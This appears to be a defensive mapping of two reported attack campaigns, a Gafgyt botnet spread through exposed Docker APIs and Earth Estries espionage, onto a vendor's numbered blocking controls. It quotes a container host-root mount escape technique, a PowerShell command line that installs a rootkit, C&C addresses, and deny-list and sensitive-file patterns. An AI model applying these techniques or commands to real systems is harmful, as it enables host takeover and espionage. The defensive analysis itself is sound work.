F1: Initial Gafgyt deployment attempt using a Rust-based bot (rbot) via a misconfigured Docker Remote API, leveraging host filesystem mounting for privilege escalation.

• Attacker identifies a publicly exposed, misconfigured Docker Remote API server. (Cited from: "Trend Micro Research observed threat actors targeting misconfigured Docker Remote API servers with the Gafgyt malware.", "attackers targeting publicly exposed misconfigured Docker remote API servers")
• Attacker sends a container creation request to the Docker Remote API, specifying the legitimate alpine image. (Cited from: "deploy the malware by creating a Docker container based on a legitimate “alpine” docker image.", "Figure 2. Container create request along with botnet deployment")
  • BR-61: Container Runtime Socket Protection - This mechanism is applicable because the attacker is interacting with the container runtime (Docker) via its Remote API, which typically involves the runtime socket (e.g., docker.sock or containerd.sock). BR-61 prevents processes whose lineage does not originate from a trusted source (like kubelet in a K8s context) from accessing this socket. If the attacker's connection is deemed unauthorized based on lineage, the container creation request could be blocked.
  • BR-57: Cluster Drift Protection - This mechanism is applicable because the attacker is attempting to deploy a container directly via the Docker API, bypassing the standard Kubernetes control plane (API server) if the host is part of a cluster. BR-57 monitors for and prevents such 'out-of-band' pod/container deployments, ensuring deployments only occur through authorized channels.
• Within the container creation request, the attacker includes options to mount the host's root filesystem (/) into the container's /mnt directory ("Binds":["/:/mnt"]) and change the container's root to /mnt using chroot. (Cited from: "The attacker is also using “chroot” to change the root directory of the container to “/mnt” along with "Binds":["/:/mnt"] option.", "This means the container can access and modify the host's filesystem... By doing so, the attacker can escalate privileges...")
  • BR-47: Container Capability Control - This mechanism is applicable because mounting arbitrary host paths, especially the root filesystem, typically requires elevated container capabilities (e.g., CAPSYSADMIN). BR-47 allows administrators to enforce policies that restrict the capabilities granted to containers, potentially removing the necessary privileges and causing the mount operation to fail.
  • BR-66: Host FS Mount Control - This mechanism is directly applicable as it enforces a strict allowlist policy for host filesystem mounts within containers. Mounting the entire host root filesystem (/) is highly sensitive and unlikely to be on a standard allowlist. BR-66 would intercept the mount attempt, find it violates the policy, and deny the operation.
• As part of the container's command (Cmd), the attacker instructs it to download a Gafgyt botnet binary, written in Rust, saving it as rbot. (Cited from: "attacker first tried to deploy Gafgyt botnet binary written in Rust with file name “rbot” in a Docker container created by the “alpine” docker image.", "In the container creation request, the attacker downloaded the Gafgyt botnet binary as file name “rbot”...")
  • BR-90: Process Exec Deny - This mechanism is applicable if the download is performed using common tools like wget or curl invoked by the container's command. Since /wget and /curl are denied by default by BR-90, the execution of these tools would be blocked, preventing the download.
  • BR-87: Process Socket Deny - This mechanism is applicable if the process executing the download (e.g., wget, curl, or the shell) is configured to be denied network socket access. Preventing the process from creating outgoing connections would block the download.
  • BR-80: Tainted File Download Protection - This mechanism is applicable because it specifically monitors files downloaded via processes like wget or curl. While it doesn't block the download itself, it flags the resulting file (rbot) and blocks its subsequent execution (see next step).
• The container's command then executes the downloaded rbot binary. (Cited from: "...and executed it.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is directly applicable because it prevents the execution of any executable binary or script (rbot in this case) that was not part of the original container image when it was loaded. Since rbot was downloaded after the container started, BR-54 would block its execution.
  • BR-80: Tainted File Download Protection - This mechanism is directly applicable as it specifically detects and blocks the execution of files that were previously downloaded over the network by monitored processes (like wget or curl from the previous step).
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the rbot binary is saved to and executed from a filesystem path within the container (e.g., /tmp/rbot, /rbot) that is not included in the execution allowlist policy. Execution attempts from non-allowed paths are blocked.
  • BR-90: Process Exec Deny - This mechanism is applicable if the execution path ends with a suffix matching the deny list (e.g., if the binary was named /tmp/nc it would be blocked by default, but unlikely for rbot unless customized).
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable as it prevents unauthorized new processes from starting within the container environment, potentially blocking the execution of the downloaded rbot binary.
  • BR-67: Container Root User Control - This mechanism is applicable if the rbot process attempts to run with root privileges (UID 0) within the container, provided it is not the container's init process (PID 1 in the container namespace). It detects and blocks non-init processes running as root.
• The executed rbot binary attempts to connect to its hardcoded Command and Control (C&C) server IP address and port. (Cited from: "While examining the binary we found that it contained hardcoded command-and-control server IP address and Port.")
  • BR-87: Process Socket Deny - This mechanism is directly applicable. It enforces an allowlist policy for network socket operations based on the process name or path. If the rbot process is not explicitly allowed to create outgoing network connections, BR-87 will block the socket calls required to connect to the C&C server.
• Upon successful C&C communication, rbot parses the response and launches Distributed Denial of Service (DDoS) attacks using UDP, TCP, and HTTP protocols as directed by the C&C server. (Cited from: "In case of successful communication with the C2C&C server, the malicious bot parses the response and launches a DDoS attack using UDP, TCP and HTTP.", "Figure 4. UDP flooding", "Figure 5. HTTP connection creation code")
  • BR-87: Process Socket Deny - This mechanism is applicable. Even if the initial C&C connection succeeded (e.g., if the policy was misconfigured), the subsequent attempts by rbot to create numerous sockets for launching UDP, TCP, or HTTP flood attacks would be blocked if the rbot process is denied socket access by the policy.

​

F2: Second Gafgyt deployment attempt (following failure of F1) using a different binary (atlas.i586) and including host IP discovery.

• Assuming the first container creation request (F1) failed, the attacker sends another request to the misconfigured Docker Remote API. (Cited from: "If the container creation request failed and the attacker could not create a container, the attacker tried to deploy another container...")
  • BR-61: Container Runtime Socket Protection - This mechanism is applicable as the attacker is again interacting with the container runtime socket via the Docker Remote API. It prevents unauthorized processes from accessing the socket.
  • BR-57: Cluster Drift Protection - This mechanism is applicable as this is another attempt to deploy a container outside the standard Kubernetes control API, which BR-57 aims to prevent.
• The request again uses the alpine Docker image and the same privilege escalation technique: mounting the host root (/) to /mnt and using chroot /mnt. (Cited from: "...based on the same alpine Docker image...", "In the above request, the attacker used chroot and bind command to elevate the privileges like in the previous instance...")
  • BR-47: Container Capability Control - This mechanism is applicable because mounting the host root filesystem requires elevated capabilities (like CAPSYSADMIN). Restricting these capabilities can prevent the mount.
  • BR-66: Host FS Mount Control - This mechanism is directly applicable as it enforces an allowlist for host filesystem mounts. Mounting / would likely be denied.
• This time, the container's command downloads a different Gafgyt binary, saving it as atlas.i586. (Cited from: "...this time the attacker tried with a different Gafgyt binary, using “atlas.i586” as the binary name.", "...deployed the botnet binary on the victim’s system with file name “atlas.i586”.")
  • BR-90: Process Exec Deny - This mechanism is applicable if tools like wget or curl are used for the download and are on the deny list (blocked by default).
  • BR-87: Process Socket Deny - This mechanism is applicable if the download process is denied network socket access.
  • BR-80: Tainted File Download Protection - This mechanism is applicable as it monitors downloads via wget/curl and blocks subsequent execution.
• The container's command executes atlas.i586 with the argument 0day. (Cited from: "The interesting point here is the argument “0day.”", "When executed with the argument Name:0day it receives responses from the server.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is directly applicable as atlas.i586 was not part of the original image and its execution would be blocked.
  • BR-80: Tainted File Download Protection - This mechanism is directly applicable as it blocks the execution of files downloaded via monitored processes like wget/curl.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if atlas.i586 is executed from a path not on the allowlist.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable as it prevents unauthorized new processes like atlas.i586 from starting.
  • BR-67: Container Root User Control - This mechanism is applicable if atlas.i586 runs as root (and is not PID 1).
• The atlas.i586 bot connects to the same C&C server as the rbot binary. (Cited from: "The bot is controlled by the same C&C server as the previous one.")
  • BR-87: Process Socket Deny - This mechanism is directly applicable. If the atlas.i586 process is not on the socket allowlist, its C&C connection attempt will be blocked.
• Based on C&C commands received, atlas.i586 performs actions including DDoS attacks using various protocols (UDP, ICMP, HTTP, SYN, etc.). (Cited from: "Based on the server responses, it performs various actions, primarily executing distributed denial of service (DDoS) attacks using different protocols such as UDP, ICMP, HTTP, SYN, and more.")
  • BR-87: Process Socket Deny - This mechanism is applicable. If the process is denied socket access, it cannot create the connections needed for DDoS attacks.
• The atlas.i586 bot also attempts to discover the victim host's local IP address by initiating a connection to Google's DNS server (8.8.8.8 on port 53) and retrieving the source IP using getsockname(). (Cited from: "It also tries to find the local IP address of the victim host.", "Essentially, the code is using Google's DNS server 8.8.8.8 as a target IP... the function calls getsockname() to retrieve the local IP address...")
  • BR-87: Process Socket Deny - This mechanism is applicable as the IP discovery method requires initiating an outgoing socket connection. If atlas.i586 is denied socket access, this discovery attempt will fail.

​

F3: Third Gafgyt deployment attempt (following failures of F1 and F2) using a shell script (cve.sh) to download and execute multiple architecture-specific binaries.

• If both previous container deployment attempts (F1, F2) failed, the attacker makes another attempt via the misconfigured Docker Remote API. (Cited from: "In case of a failed attempt of container deployment, the attacker gives another try to deploy another variant of Gafgyt botnet binary...")
  • BR-61: Container Runtime Socket Protection - This mechanism is applicable, blocking unauthorized access to the container runtime socket used by the Docker API.
  • BR-57: Cluster Drift Protection - This mechanism is applicable, preventing container deployment outside the authorized Kubernetes control plane.
• The attacker again uses the alpine image and the host root filesystem mount (/:/mnt with chroot /mnt) for privilege escalation. (Cited from: "...deployment of a shell script... via Docker container creation request", "In the above request, the attacker is using same technique to elevate the privileges using “chroot” and “Bind” while creating the docker container.")
  • BR-47: Container Capability Control - This mechanism is applicable by restricting capabilities needed for the host mount.
  • BR-66: Host FS Mount Control - This mechanism is directly applicable by denying the mount of the host root filesystem based on an allowlist policy.
• This time, the container's command downloads and executes a shell script named cve.sh. (Cited from: "This time, the attacker uses a shell script named “cve.sh” to deploy the botnet binaries...")
  • BR-90: Process Exec Deny - This mechanism is applicable if the download tool (wget/curl) is denied (for the download part) OR if the shell interpreter itself (/bin/sh) were denied (less likely, for the execution part).
  • BR-87: Process Socket Deny - This mechanism is applicable if the download tool or the shell process is denied network access (for the download part).
  • BR-80: Tainted File Download Protection - This mechanism is applicable as it tracks the download via wget/curl and blocks the subsequent execution of the cve.sh script.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is directly applicable to the execution part, as the cve.sh script was not part of the original container image.
  • BR-88: Process Path Exec Allow - This mechanism is applicable to the execution part if cve.sh is executed from a non-allowed path.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable to the execution part, preventing the unauthorized shell process from running the script.
  • BR-67: Container Root User Control - This mechanism is applicable to the execution part if the script runs as root (and is not PID 1).
• The cve.sh script contains URLs pointing to Gafgyt botnet binaries for various system architectures hosted on the attacker's C&C server (178[.]215[.]238[.]31). (Cited from: "This shell script is straightforward and contains only the botnet binaries URL... hosted on attacker’s C&C server 178[.]215[.]238[.]31.", "Figure 11. Contents of cve.sh shell script")
• The script downloads these multiple binaries and executes them. (Cited from: "it downloads them and executes them.")
  • BR-90: Process Exec Deny - This mechanism is applicable if the script uses wget or curl (denied by default) for downloading, or if the downloaded binaries have names/paths matching the deny list.
  • BR-87: Process Socket Deny - This mechanism is applicable if the script or the tools it calls (wget/curl) are denied network access (blocking downloads), or if the downloaded binaries themselves are denied network access when they try to run/connect to C&C.
  • BR-80: Tainted File Download Protection - This mechanism is applicable as it tracks the download of each binary via wget/curl and blocks their subsequent execution.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is directly applicable as it blocks the execution of the downloaded binaries which were not in the original image.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the binaries are executed from paths not on the allowlist.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable as it prevents these unauthorized downloaded processes from starting.
  • BR-67: Container Root User Control - This mechanism is applicable if the downloaded binaries attempt to run as root (and are not PID 1).
• All downloaded binaries connect to the same hardcoded C&C server IP address to receive commands, likely for DDoS attacks. (Cited from: "All these binaries have the same hardcoded C2 server IP address.")
  • BR-87: Process Socket Deny - This mechanism is directly applicable. If the downloaded binary processes are not on the socket allowlist, their attempts to connect to the C&C server will be blocked.

F1: Initial access via exploitation of public-facing server vulnerabilities followed by lateral movement using LOLBINs and deployment of backdoors (SNAPPYBEE/GHOSTSPIDER) for espionage.

• Attacker identifies and targets public-facing servers of organizations in critical sectors like telecommunications and government. (Cited from: "Earth Estries is aggressively targeting the public-facing servers of victims.", "primarily targeting critical industries such as telecommunications and government entities")
• Attacker exploits known N-day vulnerabilities on these servers, such as Ivanti Connect Secure flaws (CVE-2023-46805, CVE-2024-21887), Fortinet FortiClient EMS SQL Injection (CVE-2023-48788), Sophos Firewall RCE (CVE-2022-3236), or Microsoft Exchange ProxyLogon (CVE-2021-26855, etc.). (Cited from: "We have observed them exploiting server-based N-day vulnerabilities, including the following:", Table 1 listing CVEs)
  • BR-48: Java Deserialization Protection - This mechanism is applicable because if the exploited vulnerability involves Java deserialization from the network leading to OS command execution attempts, this mechanism would detect the origin (network deserialization) and the subsequent attempt to run OS commands, blocking the execution. This specifically applies if the vulnerability (e.g., within Ivanti, Fortinet, Sophos, or Exchange components if Java-based) relies on Java deserialization.
  • BR-76: Python Deserialization Protection - This mechanism is applicable because if the exploited vulnerability involves Python deserialization from the network leading to OS command execution attempts, this mechanism would detect the origin (network deserialization) and the subsequent attempt to run OS commands, blocking the execution. This applies if the vulnerability relies on Python deserialization.
  • BR-74: Java OS Command Injection Prevention - This mechanism is applicable because if the exploited vulnerability leads to OS command injection within a Java-based application on the server (e.g., Ivanti, Fortinet, Sophos, Exchange components if Java-based), this mechanism monitors the Java runtime for patterns indicative of OS command execution and blocks unauthorized attempts.
  • BR-77: Python OS Command Injection Prevention - This mechanism is applicable because if the exploited vulnerability leads to OS command injection within a Python-based application on the server, this mechanism monitors the Python runtime for patterns indicative of OS command execution and blocks unauthorized attempts.
  • BR-70: Back-Link Directory Traversal - This mechanism is applicable because if the vulnerability exploited involves directory path traversal at the application layer (e.g., accessing files outside the intended scope via manipulated paths in web requests like in SQLi or RCE payloads), this mechanism intercepts and analyzes file path requests, blocking traversal attempts.
• After gaining initial access, the attacker uses living-off-the-land binaries (LOLBINs) like WMIC.exe and PSEXEC.exe to move laterally within the compromised network. (Cited from: "After gaining control of the vulnerable server, we observed that the attackers leveraged living-off-the-land binaries (LOLBINs) like WMIC.exe and PSEXEC.exe for lateral movement")
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it restricts process execution to specific allowed paths. If WMIC.exe or PSEXEC.exe (or the tools used to invoke them remotely) are executed from a path not on the configured allowlist, BlueRock would block the execution, preventing lateral movement via these LOLBINs.
  • BR-90: Process Exec Deny - This mechanism is applicable because it blocks the execution of processes based on a deny list (e.g., path suffixes). If paths ending in /wmic.exe or /psexec.exe were added to the deny list, BlueRock would prevent their execution, hindering lateral movement.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable because if the LOLBINs (WMIC.exe, PSEXEC.exe, or custom scripts invoking them) were introduced to a Linux host after the initial baseline (boot) and were not installed via a trusted package manager, this mechanism would block their execution.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because if the attacker attempts to introduce and execute WMIC.exe, PSEXEC.exe, or wrapper scripts inside a container, and these executables/scripts were not part of the original container image, BlueRock would block their execution, preventing lateral movement originating from or pivoting through the container.
  • BR-87: Process Socket Deny - This mechanism is applicable because lateral movement tools like PSEXEC.exe and WMIC.exe rely on network communication (e.g., SMB). If the policy denies these specific processes (or the parent process invoking them) from creating network sockets, BlueRock could prevent the lateral movement attempt.
• Attacker deploys customized malware, including backdoors like SNAPPYBEE and GHOSTSPIDER, onto compromised systems. (Cited from: "deployed customized malware such as SNAPPYBEE, DEMODEX, and GHOSTSPIDER to conduct long-term espionage activities")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because if the malware (SNAPPYBEE, GHOSTSPIDER, DEMODEX) is deployed as a new executable binary or script into a monitored container environment, and it was not part of the original container image manifest, BlueRock will detect this drift and block the execution attempt.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it restricts process execution to allowed paths. If the attacker attempts to save and execute the malware from a non-standard or temporary directory (e.g., /tmp, C:\Windows\Temp) that is not on the execution allowlist, BlueRock would block the malware's execution.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable because if the malware is deployed onto a Linux host filesystem after the initial baseline and not via a trusted package manager, this mechanism would detect the drift and block the execution of the malware binary or script.
  • BR-80: Tainted File Download Protection - This mechanism is applicable because if the malware (compiled or interpreted code) is downloaded using specific tools like wget or curl onto the host and then subsequently executed, this mechanism would detect this sequence of actions (network download by monitored process + execution) and block the execution.
  • BR-90: Process Exec Deny - This mechanism is applicable because if the malware executable names or paths (e.g., ending in /snappybee.exe or /ghostspider.dll if executed directly) are added to the deny list, BlueRock would block their execution.
  • BR-89: Library Load Path Allow - This mechanism is applicable because if the malware involves loading malicious DLLs (like GHOSTSPIDER components) from paths not included in the library load allowlist, BlueRock would block the mmap() call, preventing the library from being loaded and executed.
• The deployed backdoors establish communication with attacker-controlled Command-and-Control (C&C) servers for receiving commands and exfiltrating data. (Cited from: "The C&C infrastructure used by various backdoors seems to be managed by different infrastructure teams", referring to C&C details for SNAPPYBEE and GHOSTSPIDER)
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent specific processes (like the backdoors SNAPPYBEE or GHOSTSPIDER) from initiating any outgoing network connections or accepting incoming ones if they are not on the configured allowlist. This would sever the C&C communication channel.
  • BR-55: Reverse Shell Protection - This mechanism is applicable because although these backdoors might use custom protocols, if they attempt to spawn a standard shell (bash, cmd.exe) and redirect its input/output directly to a network socket for interactive control, this mechanism would detect and block the binding of shell STDIN/STDOUT/STDERR to the socket.
  • BR-59: Cloud IMDS Firewall (AWS) - This mechanism is applicable because if the compromised system is an AWS EC2 instance and the backdoor attempts to abuse the IMDS (Instance Metadata Service) to retrieve credentials or other metadata (potentially as part of its C&C communication or data gathering), this mechanism would filter and potentially block malicious requests to the IMDS endpoint.
• The attacker conducts long-term espionage activities, potentially targeting critical services like database servers, cloud servers, or vendor networks. (Cited from: "conduct long-term espionage activities against their targets", "attackers targeted not only critical services (like database servers and cloud servers) used by the telecommunications company, but also their vendor network.")
  • BR-91: Sensitive File Access - This mechanism is applicable because during espionage, attackers often seek sensitive files (config files, credentials, SSH keys). This mechanism monitors access to predefined sensitive files/patterns (e.g., /etc/shadow, /.ssh/id_) and can alert or block unauthorized read/write attempts by the backdoor process.
  • BR-52: Data Resource Mandatory Access Control - This mechanism is applicable because if critical data directories (e.g., containing database files, configuration secrets) are protected by this policy, only explicitly allow-listed binaries can access them. The backdoor process, being unauthorized, would be blocked from reading or writing to these directories.
  • BR-30: Process Credential Protection - This mechanism is applicable because if the attacker attempts to escalate privileges by manipulating the backdoor process's credentials (e.g., overwriting UID/GID) to gain access to sensitive resources, this mechanism detects and blocks unauthorized credential modifications.
  • BR-87: Process Socket Deny - This mechanism is applicable because accessing other internal services like databases or cloud servers often involves network communication. If the backdoor process is denied socket access, it cannot connect to these other services to exfiltrate data or pivot.
  • BR-86: PTrace Protection - This mechanism is applicable because if the attacker attempts to use ptrace (potentially via the backdoor's capabilities) to inspect the memory of other processes (e.g., database services, authentication agents) to steal credentials or sensitive data, this mechanism would block unauthorized memory access attempts via ptrace.

​

F2: Deployment and execution of the DEMODEX rootkit using PowerShell and PSEXEC for stealthy persistence.

• Attacker gains initial access to a target machine, potentially through methods described in F1.
• Attacker uses PSEXEC.exe to remotely execute a PowerShell script (onedrived.ps1) on the target machine, providing a decryption key as an argument. (Cited from: "Based on our telemetry, we discovered that the attacker used PSEXEC.exe to execute the following commands to install the DEMODEX rootkit: Powershell.exe -ex bypass c:\windows\assembly\onedrived.ps1 password@123", "The first-stage PowerShell script requires a decryption key as an argument.")
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if PSEXEC.exe or Powershell.exe are executed from a path not on the allowlist, or if the script onedrived.ps1 itself is executed via an interpreter not in an allowed path, the execution would be blocked.
  • BR-90: Process Exec Deny - This mechanism is applicable because if PSEXEC.exe, Powershell.exe, or the script path suffix were on the deny list, their execution would be blocked.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because if this action occurs within a container and PSEXEC.exe or onedrived.ps1 were not part of the original image, their execution would be blocked.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable because if this occurs on a Linux host and PSEXEC.exe (if used via Wine/equivalent) or the PowerShell script were added post-boot without a package manager, execution would be blocked.
• The PowerShell script initiates the installation of the DEMODEX rootkit components.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because if the script attempts to write and execute new DEMODEX binary/script components within a container, and those components weren't in the original image, their execution would be blocked.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable because if the script attempts to write and execute new DEMODEX components onto a Linux host filesystem post-boot without using a package manager, their execution would be blocked.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if the script drops DEMODEX components to a non-allowed execution path and attempts to run them, the execution would be blocked.
  • BR-75: Critical Directory Write Protection - This mechanism is applicable because if the PowerShell script attempts to write DEMODEX components into critical system directories (e.g., System32, /usr/bin) protected by this policy, the write operation would be blocked.
• A second-stage service loader component of DEMODEX is executed, which uses the target computer's name as an AES decryption key to decrypt further payloads or configuration. (Cited from: "The second-stage service loader uses the computer name as the AES decryption key.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because if the service loader is a new executable/script executed within a container and wasn't part of the original image, its execution would be blocked.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if the service loader is executed from a path not on the allowlist, its execution would be blocked.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable because if the service loader was added to a Linux host post-boot without a package manager, its execution would be blocked.
  • BR-90: Process Exec Deny - This mechanism is applicable because if the service loader's name/path is on the deny list, its execution would be blocked.
• Alternatively, in a newer variant, required registry data (encrypted configuration and shellcode payload) is bundled in a CAB file, deployed possibly via PowerShell or other means, and deleted after installation. (Cited from: "In this new installation flow, the attackers no longer use a first-stage PowerShell script... Instead, the required registry data... are bundled in a CAB file. The CAB bundle will be deleted after installation is finished.")
  • BR-80: Tainted File Download Protection - This mechanism is applicable because if the CAB file containing malicious code is downloaded via wget or curl by the initial script/process, and then subsequently code extracted from it is executed, this mechanism could detect the download+execute sequence and block it.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because if the process extracting/executing the shellcode from the CAB file is itself a new binary/script within a container (and not part of the image), its execution would be blocked. It would also block the execution of the shellcode if it were written to a file first.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable because if the process extracting/executing the shellcode was added to a Linux host post-boot without a package manager, its execution would be blocked. It would also block the shellcode if written to disk first.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if the process extracting/executing the shellcode runs from a disallowed path, or if the shellcode is written to a file in a disallowed path before execution, it would be blocked.
• The DEMODEX rootkit components utilize control flow flattening techniques to hinder analysis. (Cited from: "Notably, we discovered that all components related to the DEMODEX rootkit use control flow flattening techniques to increase the difficulty of analysis (Figure 6).")
• The core DEMODEX implant establishes communication with its C&C server (e.g., 103.91.64[.]214). (Cited from: Figure 7 showing core-implant configuration with C&C)
  • BR-26: Driver ACL Protection - This mechanism is applicable because if the DEMODEX rootkit involves loading a kernel module (driver) and that driver is not on the explicitly defined allowlist (or is on the blocklist), this mechanism would prevent the driver from loading, thus breaking the rootkit's core functionality, including C&C.
  • BR-34: Driver Signature Enforcement - This mechanism is applicable because if the DEMODEX rootkit relies on loading an unsigned kernel module on a system where signature enforcement is enabled (and protected by BlueRock), the kernel would refuse to load the malicious driver, preventing the rootkit from functioning.
  • BR-35: Kernel Integrity Protection - This mechanism is applicable because if the DEMODEX rootkit attempts to modify protected kernel code or read-only data sections (e.g., to install hooks), this mechanism would detect and potentially block these unauthorized write attempts.
  • BR-24: File Operations Protection - This mechanism is applicable because rootkits often hook file operations (e.g., to hide files/processes). This mechanism checks file operation pointers against legitimate kernel instances and can detect/block modifications made by the rootkit.
  • BR-87: Process Socket Deny - This mechanism is applicable because if the user-mode component or process associated with the DEMODEX rootkit attempts C&C communication, and that process is denied socket access by policy, the communication would be blocked.

​

F3: Deployment and operation of the GHOSTSPIDER multi-modular backdoor for sophisticated C&C and payload delivery.

• Attacker uses regsvr32.exe to install the first-stage GHOSTSPIDER stager DLL (e.g., core.dll, spider.dll) as a service on a compromised machine. (Cited from: "Based on our telemetry, we observed that the threat actor installs the first-stage stager via regsvr32.exe, which is used to install a DLL (with export names such as core.dll or spider.dll) as a service.")
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if regsvr32.exe is executed from a disallowed path, or if the DLL (core.dll, spider.dll) resides in a disallowed path when loaded by regsvr32.exe, the execution/loading could be blocked.
  • BR-90: Process Exec Deny - This mechanism is applicable because if regsvr32.exe is on the deny list, its execution would be blocked.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because if regsvr32.exe or the DLLs are new files introduced into a container environment post-load, their execution/loading would be blocked.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable because if this occurred on Linux (e.g., via Wine) and regsvr32.exe or the DLLs were added post-boot without a package manager, execution/loading would be blocked.
  • BR-89: Library Load Path Allow - This mechanism is applicable because regsvr32.exe loads the specified DLL. If the DLL (core.dll, spider.dll) is located in a path not specified in the library load allowlist, the loading operation via mmap() would be intercepted and blocked.
• The stager DLL checks if it's running on the intended target machine by comparing the hostname against a hard-coded value. (Cited from: "The stager is designed to check for a specific hostname hard-coded in the DLL, ensuring that it only runs on the targeted machine.")
• The stager connects to its C&C server, sending a connection ID (CRC32/CRC64 of UUID4) in the HTTP Cookie header (phpsessid), to register the new infection. (Cited from: "it connects to the stager's C&C server to register a new connection", "A connection ID is placed in the HTTP header's cookie as “phpsessid”. The connection ID is calculated using CRC32 or CRC64 with UUID4 values.")
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent the stager process (e.g., regsvr32.exe or rundll32.exe hosting the DLL) from initiating outgoing network connections if the process name is denied network access by policy.
• The stager receives a 'login' module (login.dll) from the C&C, loads it into memory, and executes it. (Cited from: "subsequently receives a module (DLL export name: login.dll) to load and execute in memory.")
  • BR-89: Library Load Path Allow - This mechanism is applicable if the received module is first written to disk in a non-allowed path before being loaded. If loaded directly into memory without touching disk paths, this mechanism might not apply. However, the initial stager DLL load (Step 1) is covered.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if the received module (login.dll) is written to the container filesystem first before execution and wasn't part of the original image. It would block the subsequent execution.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if the received module (login.dll) is written to the Linux host filesystem first after boot without a package manager. It would block the subsequent execution.
• The 'login' module collects basic endpoint information and sends it back to the stager's C&C server. (Cited from: "This login module collects basic information about the infected endpoint and sends it back to the stager's C&C server.")
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent the process hosting the 'login' module from making outgoing network connections to send the collected data if the process is denied socket access.
  • BR-91: Sensitive File Access - This mechanism is applicable because if collecting 'basic information' involves reading sensitive system files (e.g., /etc/passwd, specific config files) protected by this policy, the access attempt could be alerted or blocked.
• The attacker deploys a legitimate executable alongside a malicious GHOSTSPIDER beacon loader DLL (loader.dll) to perform DLL search order hijacking, persisting via a scheduled task. (Cited from: "the threat actor deploys a legitimate executable file alongside a malicious DLL file for DLL search order hijacking. This malicious DLL, another GHOSTSPIDER module known as the beacon loader (DLL export name: loader.dll)", "A scheduled task is created to launch the executable.")
  • BR-89: Library Load Path Allow - This mechanism is applicable because DLL search order hijacking relies on loading the malicious DLL (loader.dll) from an unintended path (often the application's current directory). If this path is not on the explicit allowlist for loading libraries, this mechanism will block the mmap() call, preventing the hijack.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because if the legitimate executable or the malicious loader.dll are new files introduced into a container post-load, their execution/loading would be blocked. The scheduled task attempting to run the executable would fail.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable because if the legitimate executable or loader.dll were added to a Linux host post-boot without a package manager, their execution/loading would be blocked by the scheduled task.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if the scheduled task attempts to run the legitimate executable from a path not on the execution allowlist, it will be blocked.
  • BR-75: Critical Directory Write Protection - This mechanism is applicable because if the attacker attempts to place the malicious DLL or the legitimate executable into a protected critical directory to facilitate the hijack, the write operation would be blocked.
• The beacon loader decrypts an embedded .NET payload (client.dll) and executes it in memory. (Cited from: "The beacon loader contains an encrypted .NET DLL payload (DLL export name: client.dll), which is decrypted and executed in memory.")
• The beacon communicates with its own C&C server using a similar TLS-protected protocol, receiving command codes (e.g., upload, create, update, heartbeat) to load and execute further functional modules (delegates) reflectively in memory. (Cited from: "This backdoor communicates with its C&C server using a custom protocol protected by Transport Layer Security (TLS)", "the GHOSTSPIDER beacon uses an almost identical format to communicate with the beacon C&C server to receive command codes.", Table 4, "These modules are retrieved from the C&C server and are reflectively loaded into memory as dictated by specific command codes.")
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent the process hosting the beacon (client.dll in memory, likely hosted by the legitimate executable from step 6) from initiating outgoing C&C connections if that process is denied socket access by policy.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if any of the received functional modules (delegates) are written to disk within a container before execution and were not part of the original image.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if any received delegates are written to a Linux host filesystem post-boot without a package manager before execution.

​

F4: Targeting of Linux servers within Southeast Asian government networks using the MASOL RAT backdoor.

• Attacker identifies Linux servers within target networks, specifically Southeast Asian government entities. (Cited from: "Earth Estries has been deploying MASOL RAT on Linux devices targeting Southeast Asian government networks.", "targeting Southeast Asian government entities")
• Attacker gains initial access to the Linux server, potentially exploiting vulnerabilities like CVE-2022-3236 (Sophos Firewall RCE) although confidence is low, or through other unspecified means. (Cited from: "we currently only have low confidence that Earth Estries has previously deployed the MASOL RAT through CVE-2022-3236")
  • BR-48: Java Deserialization Protection - This mechanism is applicable if the exploited vulnerability (e.g., CVE-2022-3236 if it involves Java) uses Java deserialization from the network leading to OS command execution.
  • BR-76: Python Deserialization Protection - This mechanism is applicable if the exploited vulnerability uses Python deserialization from the network leading to OS command execution.
  • BR-74: Java OS Command Injection Prevention - This mechanism is applicable if the vulnerability leads to OS command injection within a Java application on the Linux server.
